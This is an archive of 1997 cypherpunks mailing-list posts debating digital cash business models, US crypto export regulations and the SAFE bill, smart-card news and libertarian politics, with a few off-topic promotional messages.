Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v03020974af8c24a07c52@[139.167.130.246]>
Message-ID: <v0302090aaf8e840675e3@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:09 am -0400 on 4/30/97, Adam Back wrote:

> No offense Bob, but your pose takes some reading, too full of
                <vogueing> ^^^^ Freudian slip? </vogue>
> metaphors,

Consider yourself yet another victim of this philosophy major's penchant
for WFFy reason-by-analogizing (Wow. Almost as good as jya there...
<jya-as-Elvis>Thankyewverramuch</Elvis>).

> but I grok what you're saying, and the topic discussed here
> I find interesting.

Glad to oblige...

> How about this, rather than interface your ecash system with US
> dollars yourself through credit cards/ debit cards/ cheques / cash,
> just set up an entirely disconnected system.

Nah. I want to have real money backing it up. Any attempt to make money
less negotiable reduces its usefulness. Remember the Soviet Ruble? An
extreme example in the opposite direction, surely, but you get the idea.

> You may remember the digicash trial mint.  It was monopoly money,
> theoretically it was worthless.  However people were selling freebees
> for it (the odd T-shirt, cap etc), plus images, programs.  Also it was
> collectable in the sense that there was a limited mint.

Yup. Remember, it was Rich Lethin and I who set up ecm@ai.mit.edu, which
was a market where those digital cash certificate could be exchanged for
cash. Lucky Green sold the first ones, and Mark Grant(?) even put up a web
page to simplify things, using the list as a "tickertape" to announce
trades.

All of which actually proves my point. Because the market actually *did*
route around the lack of exchangeability. It's much better, of course, to
build exchangeability into a digital bearer certificate market from the
outset. Money's supposed to be negotiable, after all. :-).

What we have here is more a question of a business model rather than a
problem with cryptographic protocol.

> However this means you've got to trust the bank not to mint unlimited
> amounts of money for it's own use.

Right. That's why you have a separate trustee holding the reserve capital.
Again, it's using the right business model, and not necessarily
cryptography, which makes a market happen. Blind signatures and hash
collisions are necessary, but not sufficient, for the market to exist.
Anyway, in the first stages, I claim a trustee should be an actual, real,
um, "hoity-toity", bank. In the same way that SET and Cybercash and ATM
machines "blind" their transactions through the host bank onto a settlement
network to the customer's own bank, there can be sufficient blinding of the
transaction through the trustee so that the only thing the trustee sees is
a confirmation to pay and a settlement wire from the cash purchaser's bank.

Of course, at some point, the trustee can just hold other bearer
certificates instead of keeping the issuer's reserves in book-entry assets.
When there are other bearer certificates to hold, anyway...

How you issue those certificates mechanically is not nearly as important as
the fact that you *can* issue them uniquely. Ideas like hashcash and
micromint work real well for very small transactions, for example,
precisely because of the cost to generate the first one in the series,
which forces you to print a whole bunch of subsequent ones to pay for the
computational resources you've used. However, once again, um, no offense,
what cryptographic protocol you use to generate the certificate is the
functional equivalent of <analogy-warning> doodling, the process which
makes those complex graphic fills on paper currency which were designed to
moire up any attempt to photoengrave a certificate copy. </analogy> The
point is, you need cryptography for a digital bearer certificate market,
but it's not sufficient to create that market.

> But if you've got multiple banks then you've got to have an exchange
> mechanism.  The market could probably take care of this, setting
> exchange rates based on banks reputations.

Exactly. For instance, (hint, hint) if someone were to build
Eudora/Netscape/Quicken plugins for FSTC electronic checks, and a
plug-and-play deposit server for banks to receive them and convert them
into ACH transactions, who says you need the ACH system to settle the
checks anymore? All the different bank servers could just clear against
themselves on the net at some point, cutting their ACH fees out completely.
Someday.

> However it would be nicer to have something which required no trust
> and which had no posssibility of cheating rather than relying on
> reputation to sort them out.

Actually, I think there is no such thing as finance without reputation.
:-). I'd be very interested to see how you can prove otherwise...

> The problem with anonymous ecash to continue your metaphor is that
> .WK1 files also happen to be illegal or surrounded by huge amounts of
> banking regulations.  So even though the new system is better the
> negative forces acting against so far have succeeded in stifling it.

Nah. Reality is not optional. :-). Ask all the former 30xx COBOL-jocks out
there.

Remember, crime is orthogonal to technology. Bank robbery (these days,
anyway) is an artifact of automobile and firearm technology. The other uses
for automobiles are <metaphor-warning> cetacean in comparison to the krill
of "automobile crimes" like bank robbery </metaphor>. Firearms,
unfortunately, are in the same boat. Like nuclear power, we have bans on
guns because we can "afford" to have them. People don't hunt for food
anymore. I think that's why heavily populated countries have fewer guns.
You don't need them to eat, and even if you did, you'd starve, because all
the food was hunted out long ago...

BTW, it seems to me that hoplophobia, like innumeracy, is practically a
luxury. At least until <analogy-warning> the state shows up at your door in
black pajamas and asks you to put on some orange ones of your own for this
cool sleepover they're having a few miles out of town </analogy>.

> One of the negative forces also is user stagnation, people are used to
> cheques and credit cards, even if they are inefficient and prone to
> fraud.

I, for one, think the whole concept of "path dependency" is bunk, but let's
not clog the list with discussions of roman wheel ruts, QWERTY keyboards,
and the devine right of Windows...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 04:02:41 +0800
To: Trevor Goodchild <trevorg@dhp.com>
Subject: Re: Do government employees have freedom of speech?On Thu, 24 Apr 1997, Adam Back w
In-Reply-To: <Pine.LNX.3.95.970501132911.13454C-100000@dhp.com>
Message-ID: <199705011943.OAA10195@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.95.970501132911.13454C-100000@dhp.com>, on 05/01/97 at 11:29
AM,
   Trevor Goodchild <trevorg@dhp.com> said:


>Sod.Off.

>---
> Trevor Goodchild

>On Sun, 27 Apr 1997, snow wrote:

>> Pot. Kettle. Black.
>> 

Ahhh... an intelectual conversation on CP, who'da thought. :))

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: It's OS/2, Jim, but not OS/2 as we know it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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9AVHv95Xtr+zv2Slym3Nb9RmXrivRW0V6TPguycpIVj10C5+ae5qDJm6h6wbchkj
ra/QrGF4juU=
=tx/w
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 2 May 1997 06:22:16 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705012023.PAA10686@mailhub.amaranth.com>
Message-ID: <Pine.3.89.9705011512.A22651-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



The crucial part here is "you may not engage in any  activities
prohibited by Sec. 744.6 (a) or (b) of the EAR"

I you read 744.6 EAR you will find the the provisions cited below only
apply to nukes and missiles, not crypto. Why the quote you are citing even
made it into 736 EAR is beyond me. I asked Commerce and they couldn't give
me an answer either. 

I would assume it was either for FUD or perhaps more likely wishful 
thinking leading to a screw up. Regardless, the financing, etc. 
provisions *do not apply to crypto*.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Thu, 1 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In <199705011947.MAA17020@gabber.c2.net>, on 05/01/97 at 01:47 PM,
>    sameer <sameer@c2.net> said:
> 
> 
> >> 
> >> It is my understanding that not only is the above true but the financing of
> >> the development of crypto off-shore is also made illegal by the new
> >> restrictions. So if C2Net were to hire an independent foreign co. to
> >> develop their international version it would be in volation of the current
> >> regs even if no code was exported.
> 
> >	That is an incorrect understanding of the law.
> 
> Below is the paragraph of the EAR that I am refering to:
> 
> PART 736--[AMENDED]
> 
>     19. Section 736.2 is amended by revising paragraph (b)(7) to read  as
> follows:
> 
> 
> Sec. 736.2  General prohibitions and determination of applicability.
> 
> * * * * *
>     (7) General Prohibition Seven--Support of Certain Activities by  U.S.
> persons--(i) Support of Proliferation Activities (U.S. Person 
> Proliferation Activity). If you are a U.S. Person as that term is  defined
> in Sec. 744.6(c) of the EAR, you may not engage in any  activities
> prohibited by Sec. 744.6 (a) or (b) of the EAR which  prohibits the
> performance, without a license from BXA, of certain  financing,
> contracting, service, support, transportation, freight  forwarding, or
> employment that you know will assist in certain  proliferation activities
> described further in part 744 of the EAR.  There are no License Exceptions
> to this General Prohibition Seven in  part 740 of the EAR unless
> specifically authorized in that part.
>     (ii) You may not, without a license from BXA, provide certain 
> technical assistance to foreign persons with respect to encryption  items,
> as described in Sec. 744.9 of the EAR.
> * * * * *
> 
> 
> It clearly states that such activity is Illegal. I would recomend that your
> lawers take a second read of the EAR.
> 
> I personaly don't care if you are in voilation of the EAR or not but you
> should be aware of where you stand inreguards to this regulation so there
> are no "suprises" latter on.
> 
> - -- 
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
>                           
> Finger whgiii@amaranth.com for PGP Key and other info
> - -----------------------------------------------------------
>  
> Tag-O-Matic: I went window shopping...and bought OS/2!
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered User E-Secure v1.1 ES000000
> 
> iQCVAwUBM2kLNY9Co1n+aLhhAQF+RgQAlQ+hN4fWiFYZLqoay7WA3BD1vP59ksSB
> +adrplsz7ndr7J+Zn/2hzKC+/++3/q857eGSi2eR0wrLmJshrUiHDMdBLWt+5/Rd
> oEvt2q436Mt/c2Cg+IlHpVagxqXS6H7SLj+eeeLMjAHRAYMXU426tLxNYbexpmxj
> rVuR0EVf0gM=
> =91jP
> -----END PGP SIGNATURE-----
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 2 May 1997 05:14:52 +0800
To: cypherpunks@toad.com
Subject: Re: House subcom. passes crypto bill, USDoJ letter to panel
In-Reply-To: <v03007810af8d880025a4@[168.161.105.191]>
Message-ID: <v03020919af8e9ae2d4e2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:21 am -0400 on 5/1/97, Bill Frantz wrote:


> At 4:36 PM -0700 4/30/97, Declan McCullagh quoted:
> >	... threats posed by terrorists, organized
> >	crime, child pornographers, drug cartels,
> >	financial predators,
     ^^^^^^^^^^^^^^^^^^^

> Wow!  The four horsemen are now eight (or more).

Ah. Capitalism is now a crime.

Funny how that's not surprising, coming from a government whose
rose-colored lenin-glasses have redfiltered the American flag out of
existance...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 2 May 1997 05:08:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why I delete cc;s to other mailing lists
In-Reply-To: <199705010441.FAA00950@server.test.net>
Message-ID: <v0302091daf8e9c522b54@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:08 am -0400 on 5/1/97, Tim May wrote:


> just as Bob
> Hettinga has the right to run _his_ list (or lists) as he wishes,

Just for the record, here, I should note that e$ is completely unmoderated,
though I've been sorely tempted (he said, dislocating his arm to pat
himself on the back...).

e$pam, on the other hand,  as a filter of other lists (whenever it's
running, that is... :-/), is a non-interactive, one-way channel from me to
the rest of the universe. :-). It don't say e$pam until I say it says
e$pam, in other words.  I'm just providing an opinion; letting people read
over my sholder, and all that.

So, I don't feel like I'm "censoring" anyone, in that regard.

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 04:48:09 +0800
To: sameer <sameer@c2.net>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705011947.MAA17020@gabber.c2.net>
Message-ID: <199705012023.PAA10686@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705011947.MAA17020@gabber.c2.net>, on 05/01/97 at 01:47 PM,
   sameer <sameer@c2.net> said:


>> 
>> It is my understanding that not only is the above true but the financing of
>> the development of crypto off-shore is also made illegal by the new
>> restrictions. So if C2Net were to hire an independent foreign co. to
>> develop their international version it would be in volation of the current
>> regs even if no code was exported.

>	That is an incorrect understanding of the law.

Below is the paragraph of the EAR that I am refering to:

PART 736--[AMENDED]

    19. Section 736.2 is amended by revising paragraph (b)(7) to read  as
follows:


Sec. 736.2  General prohibitions and determination of applicability.

* * * * *
    (7) General Prohibition Seven--Support of Certain Activities by  U.S.
persons--(i) Support of Proliferation Activities (U.S. Person 
Proliferation Activity). If you are a U.S. Person as that term is  defined
in Sec. 744.6(c) of the EAR, you may not engage in any  activities
prohibited by Sec. 744.6 (a) or (b) of the EAR which  prohibits the
performance, without a license from BXA, of certain  financing,
contracting, service, support, transportation, freight  forwarding, or
employment that you know will assist in certain  proliferation activities
described further in part 744 of the EAR.  There are no License Exceptions
to this General Prohibition Seven in  part 740 of the EAR unless
specifically authorized in that part.
    (ii) You may not, without a license from BXA, provide certain 
technical assistance to foreign persons with respect to encryption  items,
as described in Sec. 744.9 of the EAR.
* * * * *


It clearly states that such activity is Illegal. I would recomend that your
lawers take a second read of the EAR.

I personaly don't care if you are in voilation of the EAR or not but you
should be aware of where you stand inreguards to this regulation so there
are no "suprises" latter on.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I went window shopping...and bought OS/2!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2kLNY9Co1n+aLhhAQF+RgQAlQ+hN4fWiFYZLqoay7WA3BD1vP59ksSB
+adrplsz7ndr7J+Zn/2hzKC+/++3/q857eGSi2eR0wrLmJshrUiHDMdBLWt+5/Rd
oEvt2q436Mt/c2Cg+IlHpVagxqXS6H7SLj+eeeLMjAHRAYMXU426tLxNYbexpmxj
rVuR0EVf0gM=
=91jP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 2 May 1997 04:09:55 +0800
To: declan@well.com
Subject: Re: Bombs Away, from The Netly News Network
In-Reply-To: <v03007804af8e6d02687c@[168.161.105.191]>
Message-ID: <199705011950.PAA24272@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh writes:
>                                                   "A
> member of the DoJ committee accessed a single web site
> on the World Wide Web and obtained the titles of 110
> different bomb-making texts."

I wonder if this was a bookstore.  I did a search for "explosives"
on amazon.com and came up with at least that many titles.  Only a
handful were of the Anarchist's Cookbook ilk.  Most were academic or
industrial studies; a few were from US Govt or Govt-affiliated
organizations.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 2 May 1997 04:40:13 +0800
To: cypherpunks@toad.com
Subject: ECR_ypt
Message-ID: <1.5.4.32.19970501200616.00922948@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Two news reports on Big Bro e-cards:

1.  E-Pass -- a UK product that is both smart card and PC,
will have one or more screens, and hopes to dominate 
the global government and business market for 
all-CU-data-in-one-easily-tracked-device.

2. Proton -- Belgium's cartel card, the mostly widely
used device to en-SAFE Belgians, and a candidate
to be recruited by Visa or MasterCard or Mondex or 
Halliburton or Armadillo US/UK/AUS.

And a report on a speed demon crypto card from Eracom
in AU, which claims to be "the world's first PC-based 
PCI bus cryptographic processor which can punch through
cryptographic traffic at up to 30 times the speed of ISA bus
products."

-----

ECR_ypt

or

http://jya.com/ecrypt.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 2 May 1997 07:22:38 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto hooks and EAR (Re: SAFE Bill is a Disaster--"Use a cipher, go to prison")
In-Reply-To: <v03007800af8e9b2e837c@[207.167.93.63]>
Message-ID: <9705011609.ZM14377@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On May 1, 11:40am, Tim May wrote:
>
> I'm no expert in these areas, but doesn't this consitute "providing hooks"
> for strong crypto? The EARs say that a "hook" for inserting crypto modules
> once a product is exported are essentially as bad as providing the crypto
> before the product is exported.

	If the EAR says that, I would like to have a reference to
the section, please, so I can look it up at jya.com. I am not
saying it is not there, just that I haven't seen it, and I would
like to see what the exact language is.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Fri, 2 May 1997 07:53:34 +0800
To: cypherpunks@algebra.com
Subject: Re: Layoffs at PGP
Message-ID: <9705012341.AA10244@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Well, PGP spokesman Mike Nelson wins the award for the Freudian slip of
the day:

    "Internet Fast-Forward is not as closely related to the tools we
    develop for individuals for privacy," he said. And the fact that
    Fast-Forward filters ads which are an "inimical part of some of the
                                           ^^^^^^^^
    emerging Web commerce models ... we don't want to hinder this
    development."

The http://c.gp.cs.cmu.edu:5103/prog/webster server says:

    Inimical \In*im"i*cal\ (?; 277), a. [L. inimicalis, fr. inimicus
    unfriendly, hostile; pref. in- not + amicus friendly. See Amity.]

    1. Having the disposition or temper of an enemy; unfriendly;
    unfavorable; -- chiefly applied to private, as hostile is to public,
    enmity.

    2. Opposed in tendency, influence, or effects; antagonistic;
    inconsistent; incompatible; adverse; repugnant.

    We are at war with a system, which, by its essence, is inimical to
    all other governments. --Burke.

Perhaps he meant "intrinsic", or "integral" -- although I rather like
the version with the typo myself...  :-)

MJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 07:07:22 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Bombs Away, from The Netly News Network
In-Reply-To: <199705011950.PAA24272@jafar.issl.atl.hp.com>
Message-ID: <199705012158.QAA12008@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705011950.PAA24272@jafar.issl.atl.hp.com>, on 05/01/97 at 01:50 PM,
   Jeff Barber <jeffb@issl.atl.hp.com> said:


>Declan McCullagh writes:
>>                                                   "A
>> member of the DoJ committee accessed a single web site
>> on the World Wide Web and obtained the titles of 110
>> different bomb-making texts."

>I wonder if this was a bookstore.  I did a search for "explosives" on
>amazon.com and came up with at least that many titles.  Only a handful
>were of the Anarchist's Cookbook ilk.  Most were academic or industrial
>studies; a few were from US Govt or Govt-affiliated organizations.

Well the whole thing is just more smoke and mirrors.

The bomb used in Oklahoma required the knowledge of CHEM 101. I have
several Eng. Books that go into great detail on making Nitrogen/Deasel
bombs as they are routinely used in Mining operations. They are safe to
store as a convenient binary explosive, easy to store, and easy to prepare
as needed "on site" not to mention they are relativly cheap to use. :)

I would imagine that you will have to pass a FBI/CIA/NSA security clearance
before you can enroll in collage in the near future. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2, Windows/0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2khbo9Co1n+aLhhAQER6QP9FQDorcq6Y0GAgjMVi94mxJYhIP1urQt3
iBCxGLEpxOBv/TKClCc0xVy37k0VUTjyTzU4Ep8yOSBqmjbW0YMLRzCwn125G3Qe
KXgREZUi7IFH9yZzZ4f5oqiRVaxJk3nMikYSylrq9F5w74+OE7BkTk5neKkP7Bql
USNDq64ubXY=
=TzR2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 2 May 1997 06:18:27 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <19970429183938.08726@bywater.songbird.com>
Message-ID: <199705012209.RAA01168@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> On Tue, Apr 29, 1997 at 06:03:43PM -0400, Declan McCullagh wrote:
> > Think of it this way: there are tactical and strategic decisions.
> > Strategically, I would like the Federal government to evolve into a form
> > that's consistent with the principles of individual freedom, peace, and
> > limited government enshrined in the U.S. Constitution.

	>><SNIP><<

> To put a finer point on it, what flaw existed (exists) in the founding

	People. They are the flaw. The Constitution relies on the voters 
being rational, or at least putting the country before themselves. 

	Stupid assumption.

> fathers dream and actualization that prevented it from being a stable
> condition?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gordon <lrdon@cyberstation.net>
Date: Fri, 2 May 1997 06:38:12 +0800
To: coderpunks@toad.com
Subject: New Israel
Message-ID: <Pine.BSI.3.95.970501171026.6591B-100000@citrine.cyberstation.net>
MIME-Version: 1.0
Content-Type: text/plain


Oh geez...

Have you heard about NEW ISRAEL yet? It is a 510 page book
that addresses one of the primordial obstacles to human life
and happiness on our planet Earth, the accursed Middle
Eastern conundrum between the Jews and the Palestinians-
Arabs-Islamics.  The predicate of NEW  ISRAEL calls for the
creation of a coexistent, with Israel, New Israel in the
southern two thirds of the Baja Peninsula, south of
California, in North America, with immense benefits
for all of those effected. Faced with an impossible dilemma,
another choice must be made available. The book explains that
new option and all the history, difficulties, and
transgressions, that makes the creation of New Israel
absolutely necessary.  For more information, including an
18 page detailed outline of NEW ISRAEL, and the full 41 page
Preface to NEW ISRAEL - which provides rich details about the
reasoning and rationale foundation of NEW ISRAEL, visit the
NEW ISRAEL website at :

               http://www.seymourtex.com/newisrael/ni.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 2 May 1997 06:05:39 +0800
To: cypherpunks@cyberpass.net
Subject: recypherdomicilization?
In-Reply-To: <v03007800af8e9b2e837c@[207.167.93.63]>
Message-ID: <v0302093aaf8eb757846c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:27 pm -0400 on 5/1/97, sameer wrote:
> As far as operating from Anguilla -- it would require
> renouncing my US citizenship, yes.

Hoo, boy...

Make sure you get (buy?) citizenship somewhere else first, okay, Sameer? :-).

Seriously, it would be indeed a drag to have a whole bunch of
cypherpunks-without-a-country out there, no matter what we all say about
the evils of nation-states...

Anyone out there have suggestions about a domicile of choice? Vince's old
"perputual tourist" thing comes to mind, but I'm not conviced that's really
practical.

I heard someone talking about Belize at FC97. The Seychelles have come up
around here, more than once, for those with $10million to throw around...

However, I tend to agree with Tim about this whole regulatory arbitrage
stuff. Nothing keeps the law honest like good software. :-).

Cheers,

Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 2 May 1997 08:56:08 +0800
To: cypherpunks@cyberpass.net
Subject: counterTCM post
Message-ID: <199705020037.RAA24475@netcom5.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



in the continuing series of counterTCMeme posts, I would like to
address a recent TCMeme on the subject of government.

TCM asserts that the president and congress have absolutely nothing
to offer american citizens, that any attempt to deal with them
is a total waste of time.

I generally agree that our democratic system has degenerated over
the decades, to the point of being scary and dangerous in places.

however, we can ask, why did it get to that point? I believe it is
not because of an inherent impracticality of the government or 
congress. rather, it is a failure of the citizens to maintain the
authority over their congressmen and president.

once upon a time, citizens saw congress and the president as their
servants. it led to a particular kind of ideology reflected in the
policies of the country.

over time, people gradually gave away this authority. they saw the
president and congress as having authority over citizens, instead of
vice versa.

TCM's idea of telling congress and the president to f*** off is actually,
in my opinion, an extreme case of people giving away their authority.
it is more of the same problem, not the solution. it is failing to 
address the root of the problem-- that the president and congress
must be put in a subservient relationship to the desires of the citizens.

citizens are failing to exercise their ability to remove and replace
those in power.

TCM quotes De ToqueVille, "the american experiment in democracy will
last until people begin to realize they can pick each other's pockets
at the voting booth". there is a fallacy and a truth in this at the
same time. the truth is that the citizenry is beginning to discover
that the government is the greatest pickpocket of all. if it 
redistributed its wealth, our economy would be better off. 

but instead the government
ties up vast amounts of wealth into (1) social programs that
redistribute only a fraction of the wealth they take in, the rest
caught up in bureacracy (2) weaponry that sits idle, and is so horrific
that it should never be used, and (3) a national debt of borrowed money.

so people are no longer trying to pick each other's pockets at the
voting booth, in my opinion, but realizing that the government itself is
picking everyone's pockets at tax time. 

everyone who pays money via taxes to the government is the employer
of those in government. when was the last time you exercised some
control over this money? or do you just sign it off? there are many
ways that individual citizens can create leverage over their government,
and increase their power over it. it is the opposite of the process
by which they have given their power away. it is reversable. 

but to unplug oneself from the monster one has created is not possible
as TCM is always campaigning. the monster will run around some more.
one must uncreate the monster in the same ways it was created.

I commend CDT and all other online groups for their organizational
motives and drive, and condemn TCM for his pissing on them. what is he doing?
he is just unplugging himself and asserting that the monster will no
longer exist if he refuses to believe in it.

the road to greater power is greater organization and unity while
preserving individuality. the individualism that TCM promotes is
actually ultimately disempowering and dangerous. the individual
has no power. the solution to an oppressive society is to fix the
society, not to try to find increasingly ingenious ways of hiding
from it. the society will always has means of becoming more
orwellian and surmounting whatever obstacles individuals place 
in it.

if something is broken, do you fix it, or abandon it? or shoot it? TCM is
always advocating the latter two. it's not a solution, and he knows it,
and everyone else here knows it too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Staff <212@212.net>
Date: Fri, 2 May 1997 07:30:41 +0800
To: cypherpunks@toad.com
Subject: coolness
Message-ID: <970501173738.2F87BD6@212.net>>
MIME-Version: 1.0
Content-Type: text/plain


nice site.
why not add your url to ours?!
visit http://212.net

thanks.

staff at http://212.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 2 May 1997 08:57:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New Israel
In-Reply-To: <199705012318.SAA12960@mailhub.amaranth.com>
Message-ID: <199705020044.RAA20453@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Gordon <lrdon@cyberstation.net> said:

: The predicate of NEW ISRAEL calls for the creation of a coexistent, with
: Israel, New Israel in the southern two thirds of the Baja Peninsula, south
: of California, in North America. 

Actually, I think a better plan would be to relocate Israel to New Jersey
and give the current Middle Eastern version back to the Arabs. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 07:27:41 +0800
To: Jonah Seiger <jseiger@cdt.org>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03020900af8e49aa795c@[207.226.3.4]>
Message-ID: <199705012303.SAA12776@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03020900af8e49aa795c@[207.226.3.4]>, on 05/01/97 at 08:09 AM,
   Jonah Seiger <jseiger@cdt.org> said:


>Tim -

>It's too bad we may not see eye-to-eye on this one.

>For what it's worth, CDT shares your concerns about the criminal provision
>in the SAFE bill.  We believe that as currently written, the provision is
>overly broad and could create a chilling effect on the everyday use of
>encryption, and  unnecessary because it duplicates existing obstruction of
>justice law.

>We have expressed these concerns both publicly (in a letter to the
>committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
>organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
>privately in conversations with the committee staff.  We hope to work with
>the authors of SAFE to address these concerns, but, as you know, we are
>not running this show and have to work with what the Congress gives us.

>However, despite our concerns about the criminal provisions, we believe
>strongly that the SAFE bill, and the bills in the Senate sponsored by
>Burns and Leahy, are vitally important and should be passed.

>As you know, the debate over encryption policy reform has been going on
>for more than 4 years.  Despite all of our efforts to promote the use of
>encryption, crypto is still not widely used by the public.

>The Clinton administration has not backed off from their commitment to a
>global key-escrow/key-recovery system with guaranteed law enforcement
>access to private keys. And despite the brilliant work of EFF on the
